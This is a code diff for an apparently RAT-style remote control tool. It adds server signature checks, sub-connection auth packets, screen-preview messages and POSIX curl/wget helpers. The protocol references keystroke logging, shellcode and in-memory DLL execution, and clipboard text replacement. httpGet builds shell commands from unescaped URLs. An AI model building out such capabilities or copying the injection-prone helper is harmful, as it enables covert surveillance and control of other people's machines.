// Linux/macOS 客户端服务端身份校验状态 + helper(Layer 1 防护)。
|
||||||
|
//
|
||||||
|
// 行为模型:
|
||||||
|
// - g_loginMsg:startTime + "|" + clientID,启动时填一次,跨重连不变
|
||||||
|
// - g_loginTime:每次新连接重置为当前时刻
|
||||||
|
// - g_settingsVerified:服务端 CMD_MASTERSETTING 通过签名校验后置 true,
|
||||||
|
// 重连时重置为 false
|
||||||
|
//
|
||||||
|
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应
|
||||||
|
// 让进程退出。校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
|
||||||
|
// 功能侧的安全由子连接 auth(TOKEN_CONN_AUTH)兜底——没通过校验的服务端无法
|
||||||
|
// 触发任何 sub-connection 功能。
|
||||||
|
//
|
||||||
|
// 跨线程访问:
|
||||||
|
// - g_settingsVerified 在 DataProcess(IO 线程)写、心跳循环(main 线程)读
|
||||||
|
// - 用 std::atomic<bool> + acquire/release 内存序保证可见性
|
||||||
|
//
|
||||||
|
// C++17 inline 变量保证多翻译单元共享同一实例,无 ODR 冲突。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <atomic>
|
||||||
|
#include <cstring>
|
||||||
|
#include <ctime>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#include "common/commands.h"
|
||||||
|
|
||||||
|
// 全局 namespace 中的 verifyMessage:由 client/sign_shim_unix.cpp(Linux/macOS)或
|
||||||
|
// 私有 .lib(Windows)提供。必须在任何 namespace 之外声明,否则会被解析成
|
||||||
|
// ClientAuth::verifyMessage 导致链接失败。
|
||||||
|
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len,
|
||||||
|
const std::string& signature);
|
||||||
|
|
||||||
|
namespace ClientAuth {
|
||||||
|
|
||||||
|
// ============== 跨重连保留的状态 ==============
|
||||||
|
inline std::string g_loginMsg;
|
||||||
|
inline time_t g_loginTime = 0;
|
||||||
|
inline std::atomic<bool> g_settingsVerified{false};
|
||||||
|
|
||||||
|
// ============== Helpers ==============
|
||||||
|
|
||||||
|
// 进入新连接前调用:g_loginTime = now,verified = false
|
||||||
|
inline void OnNewConnection()
|
||||||
|
{
|
||||||
|
g_loginTime = time(nullptr);
|
||||||
|
g_settingsVerified.store(false, std::memory_order_release);
|
||||||
|
}
|
||||||
|
|
||||||
|
// DataProcess 开头的 gate:未通过校验前仅放行 CMD_MASTERSETTING(校验本身)。
|
||||||
|
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS,
|
||||||
|
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
|
||||||
|
inline bool IsCommandAllowed(unsigned char cmd)
|
||||||
|
{
|
||||||
|
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理 CMD_MASTERSETTING(payload = szBuffer + 1,payloadLen = ulLength - 1):
|
||||||
|
// 强制要求完整 MasterSettings(包含 Signature 字段);不完整 / 签名失败 → 不更新
|
||||||
|
// g_settingsVerified,让心跳循环 30s 超时自然把本次连接断开重连。
|
||||||
|
//
|
||||||
|
// 返回 true:校验通过(已 store(true)),通过 outReportInterval / outSettingsCopy
|
||||||
|
// 返回 settings 内容供调用方继续应用(更新心跳间隔、密码哈希等)
|
||||||
|
// 返回 false:本次响应异常,调用方应直接 return(不要继续处理)
|
||||||
|
//
|
||||||
|
// 注意:参数采用 unsigned char* 而非 BYTE* 避免依赖 Windows typedef;
|
||||||
|
// BYTE 在 commands.h 已 typedef 为 unsigned char,等价。
|
||||||
|
inline bool HandleMasterSettings(const unsigned char* payload, int payloadLen,
|
||||||
|
MasterSettings* outSettings)
|
||||||
|
{
|
||||||
|
if (payloadLen < (int)sizeof(MasterSettings)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
MasterSettings settings = {};
|
||||||
|
std::memcpy(&settings, payload, sizeof(MasterSettings));
|
||||||
|
|
||||||
|
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
|
||||||
|
// 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理。
|
||||||
|
// 注意 ::verifyMessage 在全局 namespace(见本头部 extern 声明),不能省略 :: 前缀,
|
||||||
|
// 否则会被解析为 ClientAuth::verifyMessage,链接失败。
|
||||||
|
std::string sig((char*)settings.Signature,
|
||||||
|
(char*)settings.Signature + sizeof(settings.Signature));
|
||||||
|
if (!::verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_settingsVerified.store(true, std::memory_order_release);
|
||||||
|
if (outSettings) *outSettings = settings;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 心跳循环里检查 30s 超时:登录后 30 秒内必须收到并通过 MasterSettings 校验,
|
||||||
|
// 失败 → 调用方应显式断开本连接让外层重连。永不退出进程。
|
||||||
|
inline bool IsTimedOut()
|
||||||
|
{
|
||||||
|
return !g_settingsVerified.load(std::memory_order_acquire) &&
|
||||||
|
g_loginTime > 0 &&
|
||||||
|
time(nullptr) - g_loginTime > 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace ClientAuth
|
||||||
@@ -126,6 +126,9 @@ inline int isValid_10s()
|
|||||||
|
|
||||||
// 客户端能力位
|
// 客户端能力位
|
||||||
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
||||||
|
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
|
||||||
|
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||||||
|
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
|
||||||
|
|
||||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||||
|
|
||||||
@@ -330,8 +333,117 @@ enum {
|
|||||||
CMD_SET_GROUP = 242, // 修改分组
|
CMD_SET_GROUP = 242, // 修改分组
|
||||||
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
CMD_EXECUTE_DLL_NEW = 243, // 执行代码
|
||||||
CMD_PEER_TO_PEER = 244, // P2P通信
|
CMD_PEER_TO_PEER = 244, // P2P通信
|
||||||
|
TOKEN_CLIENTID = 245,
|
||||||
|
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck)
|
||||||
|
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
|
||||||
|
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||||
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
|
TOKEN_CLIP_TEXT = 250,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct TextReplace {
|
||||||
|
uint8_t cmd;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t param[510];
|
||||||
|
uint8_t reserved[512];
|
||||||
|
};
|
||||||
|
|
||||||
|
enum TextReplaceRule {
|
||||||
|
RULE_REPLACE_ALL = 0,
|
||||||
|
};
|
||||||
|
|
||||||
|
// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
|
||||||
|
// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。
|
||||||
|
// 主连接(TOKEN_LOGIN 流)不走此校验。
|
||||||
|
//
|
||||||
|
// 兼容性策略:
|
||||||
|
// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。
|
||||||
|
// - 新客户端发出 → 等服务端 ConnAuthAck,超时或失败则不继续。
|
||||||
|
// - 因此新客户端只能向新服务端连接(破坏性升级)。
|
||||||
|
// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。
|
||||||
|
//
|
||||||
|
// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法),
|
||||||
|
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
|
||||||
|
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
|
||||||
|
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
|
||||||
|
struct ConnAuthPacket {
|
||||||
|
uint8_t token; // = TOKEN_CONN_AUTH [1]
|
||||||
|
uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8]
|
||||||
|
uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8]
|
||||||
|
uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16]
|
||||||
|
char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64]
|
||||||
|
char reserved[415]; // 预留扩展 [415]
|
||||||
|
}; // 总 512
|
||||||
|
|
||||||
|
// 服务端响应:token + status + serverTime + 预留,固定 256 字节。
|
||||||
|
// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。
|
||||||
|
struct ConnAuthAck {
|
||||||
|
uint8_t token; // = TOKEN_CONN_AUTH(回显,方便客户端 dispatch) [1]
|
||||||
|
uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus) [1]
|
||||||
|
uint64_t serverTime; // 服务端处理时的 Unix 秒 [8]
|
||||||
|
char reserved[246]; // 预留扩展 [246]
|
||||||
|
}; // 总 256
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
// 编译期断言:协议大小不允许被无意改动
|
||||||
|
static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes");
|
||||||
|
static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes");
|
||||||
|
|
||||||
|
// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
|
||||||
|
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
|
||||||
|
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
struct ScreenPreviewReq {
|
||||||
|
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
|
||||||
|
uint16_t reqId; // 请求序号,用于丢弃过期响应
|
||||||
|
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
|
||||||
|
uint8_t jpegQuality; // 1..100
|
||||||
|
uint16_t reserved;
|
||||||
|
}; // 总 8 字节
|
||||||
|
|
||||||
|
enum ScreenPreviewStatus {
|
||||||
|
SCREEN_PREVIEW_OK = 0,
|
||||||
|
SCREEN_PREVIEW_CAPTURE_FAILED = 1, // 抓屏失败
|
||||||
|
SCREEN_PREVIEW_ENCODE_FAILED = 2, // 编码失败
|
||||||
|
SCREEN_PREVIEW_NOT_SUPPORTED = 3, // 平台不支持
|
||||||
|
};
|
||||||
|
|
||||||
|
enum ScreenPreviewFormat {
|
||||||
|
SCREEN_PREVIEW_FMT_JPEG = 0,
|
||||||
|
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
|
||||||
|
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ScreenPreviewRspHeader {
|
||||||
|
uint8_t token; // = TOKEN_SCREEN_PREVIEW_RSP
|
||||||
|
uint16_t reqId; // 回显请求序号
|
||||||
|
uint8_t status; // ScreenPreviewStatus
|
||||||
|
uint8_t format; // ScreenPreviewFormat(v1 仅 JPEG)
|
||||||
|
uint16_t width; // 实际编码图宽
|
||||||
|
uint16_t height; // 实际编码图高
|
||||||
|
uint32_t bytes; // 图像字节数(紧随其后)
|
||||||
|
uint8_t reserved[3];
|
||||||
|
// 后接 data[bytes]
|
||||||
|
}; // 头部 16 字节
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
static_assert(sizeof(ScreenPreviewReq) == 8, "ScreenPreviewReq must be 8 bytes");
|
||||||
|
static_assert(sizeof(ScreenPreviewRspHeader) == 16, "ScreenPreviewRspHeader must be 16 bytes");
|
||||||
|
|
||||||
|
enum ConnAuthStatus {
|
||||||
|
CONN_AUTH_OK = 0,
|
||||||
|
CONN_AUTH_BAD_SIZE = 1, // 包长度不对
|
||||||
|
CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围
|
||||||
|
CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配
|
||||||
|
CONN_AUTH_INTERNAL_ERROR = 4,
|
||||||
|
};
|
||||||
|
|
||||||
|
#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟
|
||||||
|
#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时
|
||||||
|
// 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量;
|
||||||
|
// 同机几毫秒就回,正常路径用户感知不到。
|
||||||
|
|
||||||
enum MachineCommand {
|
enum MachineCommand {
|
||||||
MACHINE_LOGOUT,
|
MACHINE_LOGOUT,
|
||||||
MACHINE_SHUTDOWN,
|
MACHINE_SHUTDOWN,
|
||||||
@@ -915,7 +1027,14 @@ typedef struct LOGIN_INFOR {
|
|||||||
{
|
{
|
||||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||||
bToken = TOKEN_LOGIN;
|
bToken = TOKEN_LOGIN;
|
||||||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
|
// 能力位:声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
|
||||||
|
// 实现(依赖 GDI BitBlt + GDI+ JPEG),Linux/macOS 不声明,避免服务端发请求
|
||||||
|
// 后等 4s 超时显示"预览不可用"。
|
||||||
|
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||||
|
#ifdef _WIN32
|
||||||
|
caps |= CLIENT_CAP_SCREEN_PREVIEW;
|
||||||
|
#endif
|
||||||
|
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
|
||||||
}
|
}
|
||||||
LOGIN_INFOR& Speed(unsigned long speed)
|
LOGIN_INFOR& Speed(unsigned long speed)
|
||||||
{
|
{
|
||||||
@@ -997,12 +1116,23 @@ typedef struct Heartbeat {
|
|||||||
} Heartbeat;
|
} Heartbeat;
|
||||||
|
|
||||||
typedef struct HeartbeatACK {
|
typedef struct HeartbeatACK {
|
||||||
uint64_t Time;
|
uint64_t Time; // offset 0, size 8
|
||||||
char Authorized;
|
char Authorized; // offset 8
|
||||||
char IsTrail;
|
char IsTrail; // offset 9
|
||||||
char Authorization[200];
|
char Authorization[200]; // offset 10, size 200 → 结束于 210
|
||||||
char Reserved[814];
|
// 显式 padding:让随后的 uint32_t ProcessingMs 落在 4 字节对齐边界(212)。
|
||||||
|
// 不加这两个字节,编译器会自动补,但同时会把结构体尾部补到 8 字节对齐
|
||||||
|
// 导致 sizeof 从 1024 涨到 1032,破坏跨版本兼容(新客户端连旧服务端会
|
||||||
|
// 退回 OldSize=32 字节读取,丢失 Authorization)。
|
||||||
|
char _ackPad[2]; // offset 210, size 2
|
||||||
|
// 服务端处理本心跳的耗时(毫秒,由 server 写入 send-ACK 前一刻)。
|
||||||
|
// 客户端用 (now - Time) - ProcessingMs 得到近似纯网络 RTT,喂给反代理检测。
|
||||||
|
// 旧服务端 / 早期版本会把 ProcessingMs 留作 0,此时客户端按 0 = 未知,
|
||||||
|
// 直接使用 (now - Time),不退化(与本字段加入前的行为完全一致)。
|
||||||
|
uint32_t ProcessingMs; // offset 212, size 4 → 结束于 216
|
||||||
|
char Reserved[808]; // offset 216, size 808 → 结束于 1024
|
||||||
} HeartbeatACK;
|
} HeartbeatACK;
|
||||||
|
// sizeof(HeartbeatACK) == 1024(与本字段加入前完全相等)
|
||||||
|
|
||||||
#define HeartbeatACK_OldSize 32
|
#define HeartbeatACK_OldSize 32
|
||||||
|
|
||||||
@@ -1022,7 +1152,9 @@ typedef struct MasterSettings {
|
|||||||
char HelpUrl[80]; // Since 2026-04-08
|
char HelpUrl[80]; // Since 2026-04-08
|
||||||
char RequestAuthUrl[80]; // Since 2026-04-08
|
char RequestAuthUrl[80]; // Since 2026-04-08
|
||||||
char GetPluginUrl[80]; // Since 2026-04-08
|
char GetPluginUrl[80]; // Since 2026-04-08
|
||||||
char Reserved[108]; // Since 2025-11-27
|
char Authorized; // Since 2026-05-15
|
||||||
|
char IsTrail; // Since 2026-05-15
|
||||||
|
char Reserved[106]; // Since 2025-11-27
|
||||||
} MasterSettings;
|
} MasterSettings;
|
||||||
#pragma pack(pop)
|
#pragma pack(pop)
|
||||||
|
|
||||||
@@ -1048,6 +1180,14 @@ enum QualityLevel {
|
|||||||
QUALITY_COUNT = 6,
|
QUALITY_COUNT = 6,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// 屏幕压缩算法常量 (所有平台共用)
|
||||||
|
#ifndef ALGORITHM_GRAY
|
||||||
|
#define ALGORITHM_GRAY 0 // 灰度压缩
|
||||||
|
#define ALGORITHM_DIFF 1 // 差分压缩 (BGRA)
|
||||||
|
#define ALGORITHM_H264 2 // H264 硬件编码
|
||||||
|
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
||||||
|
#endif
|
||||||
|
|
||||||
/* 质量配置(与 QualityLevel 对应)
|
/* 质量配置(与 QualityLevel 对应)
|
||||||
- strategy = 0:1080p 限制
|
- strategy = 0:1080p 限制
|
||||||
- strategy = 1:原始分辨率
|
- strategy = 1:原始分辨率
|
||||||
@@ -1080,6 +1220,29 @@ inline const QualityProfile& GetQualityProfile(int level) {
|
|||||||
return g_QualityProfiles[level];
|
return g_QualityProfiles[level];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
|
||||||
|
// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
|
||||||
|
struct PreviewProfile {
|
||||||
|
int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
|
||||||
|
int jpegQuality; // JPEG 质量 1..100
|
||||||
|
};
|
||||||
|
|
||||||
|
inline const PreviewProfile& GetScreenPreviewProfile(int level) {
|
||||||
|
static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
|
||||||
|
{ 1024, 85 }, // Ultra: 超清 (LAN/同省,4K 源屏可进一步放大到 1280)
|
||||||
|
{ 800, 80 }, // High: 高清 (跨省直连)
|
||||||
|
{ 640, 75 }, // Good: 标清 (同国/邻国)
|
||||||
|
{ 480, 70 }, // Medium: 常规 (大陆间)
|
||||||
|
{ 384, 60 }, // Low: 低清 (跨洲)
|
||||||
|
{ 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
|
||||||
|
};
|
||||||
|
if (level < 0 || level >= QUALITY_COUNT) {
|
||||||
|
static const PreviewProfile fallback = { 480, 70 };
|
||||||
|
return fallback;
|
||||||
|
}
|
||||||
|
return g_PreviewProfiles[level];
|
||||||
|
}
|
||||||
|
|
||||||
// 根据RTT获取目标质量等级 (控制端使用)
|
// 根据RTT获取目标质量等级 (控制端使用)
|
||||||
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
|
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
|
||||||
// 根据模式应用不同 RTT阈值 (毫秒)
|
// 根据模式应用不同 RTT阈值 (毫秒)
|
||||||
@@ -1198,11 +1361,13 @@ enum {
|
|||||||
|
|
||||||
SHELLCODE = 0,
|
SHELLCODE = 0,
|
||||||
MEMORYDLL = 1,
|
MEMORYDLL = 1,
|
||||||
|
RUNTYPE_MAX = 2,
|
||||||
|
|
||||||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||||||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||||||
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
|
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
|
||||||
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC(标准方式,使用开源FRP项目)
|
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC(标准方式,使用开源FRP项目)
|
||||||
|
CALLTYPE_MAX = 4,
|
||||||
};
|
};
|
||||||
|
|
||||||
typedef DWORD(__stdcall* PidCallback)(void);
|
typedef DWORD(__stdcall* PidCallback)(void);
|
||||||
|
|||||||
@@ -321,6 +321,16 @@ inline const char* getFileName(const char* path)
|
|||||||
#endif
|
#endif
|
||||||
#elif defined(_WIN32)
|
#elif defined(_WIN32)
|
||||||
#define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
|
#define Mprintf(format, ...) Logger::getInstance().log(getFileName((__FILE__)), __LINE__, (format), __VA_ARGS__)
|
||||||
|
#elif defined(__APPLE__)
|
||||||
|
// macOS: 使用 NSLog 输出到系统日志(可通过 Console.app 查看)
|
||||||
|
#ifdef Mprintf
|
||||||
|
#undef Mprintf
|
||||||
|
#endif
|
||||||
|
#ifdef __OBJC__
|
||||||
|
#define Mprintf(format, ...) NSLog(@"%@", [NSString stringWithFormat:@(format), ##__VA_ARGS__])
|
||||||
|
#else
|
||||||
|
#define Mprintf(format, ...) printf(format, ##__VA_ARGS__)
|
||||||
|
#endif
|
||||||
#else
|
#else
|
||||||
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
|
// Linux: 覆盖 commands.h 中的 printf 回退定义,改用 Logger 写文件
|
||||||
#ifdef Mprintf
|
#ifdef Mprintf
|
||||||
|
|||||||
99
common/posix_net_helpers.h
Normal file
99
common/posix_net_helpers.h
Normal file
@@ -0,0 +1,99 @@
|
|||||||
|
// posix_net_helpers.h
|
||||||
|
// Linux/macOS 客户端共用的网络/Shell 工具:execCmd / httpGet / getPublicIP /
|
||||||
|
// jsonExtract / getGeoLocation。Windows 端已有等价实现,不应包含此头。
|
||||||
|
//
|
||||||
|
// 全部 inline,header-only,避免新增 .cpp / 改 CMakeLists。
|
||||||
|
//
|
||||||
|
// 设计说明:
|
||||||
|
// - httpGet 优先 curl,备选 wget(Linux 默认自带;macOS 默认无 wget,缺失时
|
||||||
|
// wget 命令失败、execCmd 返空——无副作用,等价于"只用 curl")
|
||||||
|
// - getPublicIP 轮询多个公网 IP 查询源,按顺序尝试直到成功
|
||||||
|
// - jsonExtract 仅做最简单的 "key":"value" 提取,不依赖 jsoncpp
|
||||||
|
// - getGeoLocation 通过 ipinfo.io 反查地理位置,与 Windows IPConverter 同源
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <cstdio>
|
||||||
|
#include <memory>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#include "common/logger.h"
|
||||||
|
|
||||||
|
namespace PosixNet {
|
||||||
|
|
||||||
|
// 执行 shell 命令,捕获其 stdout 输出(trim 末尾空白后返回)
|
||||||
|
inline std::string execCmd(const std::string& cmd)
|
||||||
|
{
|
||||||
|
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||||
|
if (!pipe) return "";
|
||||||
|
char buf[4096];
|
||||||
|
std::string result;
|
||||||
|
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||||
|
result += buf;
|
||||||
|
}
|
||||||
|
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||||
|
result.pop_back();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// HTTP GET 请求:优先 curl,备选 wget
|
||||||
|
inline std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||||
|
{
|
||||||
|
std::string t = std::to_string(timeoutSec);
|
||||||
|
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||||
|
if (!r.empty()) return r;
|
||||||
|
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
|
||||||
|
return r;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取公网 IP(轮询多个查询源,与 Windows 端 IPConverter 一致)
|
||||||
|
inline std::string getPublicIP()
|
||||||
|
{
|
||||||
|
static const char* urls[] = {
|
||||||
|
"https://checkip.amazonaws.com",
|
||||||
|
"https://api.ipify.org",
|
||||||
|
"https://ipinfo.io/ip",
|
||||||
|
"https://icanhazip.com",
|
||||||
|
"https://ifconfig.me/ip",
|
||||||
|
};
|
||||||
|
for (auto& url : urls) {
|
||||||
|
std::string ip = httpGet(url, 3);
|
||||||
|
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||||
|
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
|
||||||
|
return ip;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Mprintf("getPublicIP: all sources failed\n");
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从 JSON 字符串中提取指定 key 的 string 值(简易解析,不依赖 jsoncpp)
|
||||||
|
// 仅支持 "key": "value" 或 "key":"value" 格式
|
||||||
|
inline std::string jsonExtract(const std::string& json, const std::string& key)
|
||||||
|
{
|
||||||
|
std::string needle = "\"" + key + "\"";
|
||||||
|
size_t pos = json.find(needle);
|
||||||
|
if (pos == std::string::npos) return "";
|
||||||
|
pos = json.find(':', pos + needle.size());
|
||||||
|
if (pos == std::string::npos) return "";
|
||||||
|
pos = json.find('"', pos + 1);
|
||||||
|
if (pos == std::string::npos) return "";
|
||||||
|
size_t end = json.find('"', pos + 1);
|
||||||
|
if (end == std::string::npos) return "";
|
||||||
|
return json.substr(pos + 1, end - pos - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取 IP 地理位置(ipinfo.io,与 Windows IPConverter 同源)
|
||||||
|
inline std::string getGeoLocation(const std::string& ip)
|
||||||
|
{
|
||||||
|
if (ip.empty()) return "";
|
||||||
|
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
|
||||||
|
if (json.empty()) return "";
|
||||||
|
std::string country = jsonExtract(json, "country");
|
||||||
|
std::string city = jsonExtract(json, "city");
|
||||||
|
if (city.empty() && country.empty()) return "";
|
||||||
|
if (city.empty()) return country;
|
||||||
|
if (country.empty()) return city;
|
||||||
|
return city + ", " + country;
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace PosixNet
|
||||||
50
common/rtt_estimator.h
Normal file
50
common/rtt_estimator.h
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
// rtt_estimator.h
|
||||||
|
// 平滑 RTT 估算器(参考 RFC 6298),与 Windows 端 KernelManager 算法一致。
|
||||||
|
// Linux/macOS 客户端共享:每次心跳 ACK 用 update_from_sample(rtt_ms) 喂一次样本。
|
||||||
|
//
|
||||||
|
// 设计要点:
|
||||||
|
// - srtt / rttvar / rto 单位为秒;输入是毫秒
|
||||||
|
// - 异常值(≤0 或 >30s)丢弃,防止统计被一个瞬时坏样本污染
|
||||||
|
// - alpha=1/8, beta=1/4 与 RFC 6298 默认值一致
|
||||||
|
//
|
||||||
|
// C++17 inline 全局变量:g_rttEstimator / g_heartbeatInterval 由本头文件直接定义,
|
||||||
|
// 多翻译单元 include 不会触发 ODR 冲突。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <cmath>
|
||||||
|
|
||||||
|
struct RttEstimator {
|
||||||
|
double srtt = 0.0; // 平滑 RTT (秒)
|
||||||
|
double rttvar = 0.0; // RTT 波动 (秒)
|
||||||
|
double rto = 0.0; // 超时时间 (秒)
|
||||||
|
bool initialized = false;
|
||||||
|
|
||||||
|
void update_from_sample(double rtt_ms)
|
||||||
|
{
|
||||||
|
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||||
|
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||||
|
return;
|
||||||
|
|
||||||
|
const double alpha = 1.0 / 8;
|
||||||
|
const double beta = 1.0 / 4;
|
||||||
|
double rtt = rtt_ms / 1000.0;
|
||||||
|
|
||||||
|
if (!initialized) {
|
||||||
|
srtt = rtt;
|
||||||
|
rttvar = rtt / 2.0;
|
||||||
|
rto = srtt + 4.0 * rttvar;
|
||||||
|
initialized = true;
|
||||||
|
} else {
|
||||||
|
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||||
|
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||||
|
rto = srtt + 4.0 * rttvar;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||||
|
if (rto < 1.0) rto = 1.0;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 进程级全局:所有翻译单元共享同一份估算器与心跳间隔
|
||||||
|
inline RttEstimator g_rttEstimator;
|
||||||
|
inline int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
||||||
@@ -1,11 +1,17 @@
|
|||||||
#ifndef YAMA_SCHEDULER_H
|
#ifndef YAMA_SCHEDULER_H
|
||||||
#define YAMA_SCHEDULER_H
|
